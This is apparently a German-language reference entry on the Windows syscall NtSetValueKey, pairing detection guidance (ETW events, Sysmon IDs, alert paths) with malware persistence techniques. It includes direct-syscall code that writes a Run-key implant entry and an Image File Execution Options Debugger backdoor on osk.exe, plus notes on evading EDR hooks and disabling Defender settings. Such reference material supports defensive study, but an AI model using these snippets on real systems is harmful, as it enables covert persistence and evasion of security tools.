NtSetValueKey

Prototyp

NTSTATUS NtSetValueKey(
  HANDLE          KeyHandle,
  PUNICODE_STRING ValueName,
  ULONG           TitleIndex,
  ULONG           Type,
  PVOID           Data,
  ULONG           DataSize
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 60 00 00 00      mov eax, 0x60
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

Stabil bei `0x60` von Windows 7 bis Win11 24H2. Mit NtCreateKey/NtOpenKey kombiniert, um Werte ohne advapi32 zu schreiben — dort sitzen die meisten User-Mode-Hooks der EDRs. Der Kernel leitet den Aufruf über CmSetValueKey → CmpSetValueKeyNew/Existing; Hive-Flushes sind verzögert (CmpLazyFlushHiveList), ein frisch geschriebener Wert kann erst nach Sekunden auf der Platte landen — nützlich für Akteure, die gegen die Detection rennen.

Häufige Malware-Nutzung

Die Ausführungsseite der Registry-Persistenz. Sobald ein Autostart-Unterschlüssel offen ist, schreibt NtSetValueKey das eigentliche Startkommando: - `Run` / `RunOnce`: REG_SZ, das auf das Implant zeigt. - `Image File Execution Options\<opfer.exe>` → `Debugger` REG_SZ → Angreifer-Binary (T1546.012). - `Winlogon\Userinit` / `Winlogon\Shell` um den Payload erweitert. - `Services\<name>\ImagePath` für Dienst-Hijack. - `AppInit_DLLs` zum Laden in jeden user32-verlinkten Prozess. Direct-Syscall-Aufrufer drehen damit zudem Sicherheitswerte (DisableAntiSpyware, AntiSpywareEnabled, SubmitSamplesConsent), wenn sie privilegiert laufen.

Erkennungs­möglichkeiten

Der ETW-Provider Microsoft-Windows-Kernel-Registry feuert `EventSetValueKey` (Opcode 11) mit Schlüsselpfad, Wertname, Typ und Datenlänge — unverzichtbar für hochwertige Alarme auf Autostart- und IFEO-Schreibvorgänge. Sysmon Event ID 13 (RegistryEvent: Set value) und Event ID 14 (Key/Value rename) decken Endpunkte ohne EDR ab. Top-Alerts: jede Schreiboperation unter `*\CurrentVersion\Run*`, `*\Image File Execution Options\*\Debugger`, `*\Winlogon\(Userinit|Shell|AppInit_DLLs)` sowie Änderungen an Defender-Ausschlüssen oder `SubmitSamplesConsent`. Mit Image-Load-Telemetrie korrelieren, um den resultierenden Prozess beim nächsten Logon zu greifen.

Direkte Syscall-Beispiele

// Drop HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater = C:\PD\impl.exe
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"Updater");

WCHAR data[] = L"C:\\ProgramData\\impl.exe";
NTSTATUS s = NtSetValueKey(
    hRunKey,                  // from NtCreateKey/NtOpenKey
    &name,
    0,                        // TitleIndex
    REG_SZ,
    data,
    (ULONG)((wcslen(data) + 1) * sizeof(WCHAR)));

NtSetValueKey PROC
    mov  r10, rcx
    mov  eax, 60h
    syscall
    ret
NtSetValueKey ENDP

// HKLM\Software\Microsoft\Windows NT\CurrentVersion\
//   Image File Execution Options\osk.exe!Debugger = cmd.exe
// Triggers when On-Screen Keyboard is launched (incl. Sticky Keys at logon).
UNICODE_STRING debuggerName;
RtlInitUnicodeString(&debuggerName, L"Debugger");
WCHAR debugger[] = L"C:\\Windows\\System32\\cmd.exe";

NtSetValueKey(hIfeoOskKey, &debuggerName, 0, REG_SZ,
              debugger,
              (ULONG)((wcslen(debugger) + 1) * sizeof(WCHAR)));

MITRE ATT&CK-Mappings

• T1547.001Registry Run Keys / Startup Foldermitre ↗
• T1546.012Image File Execution Options Injectionmitre ↗
• T1112Modify Registrymitre ↗
• T1574.011Services Registry Permissions Weaknessmitre ↗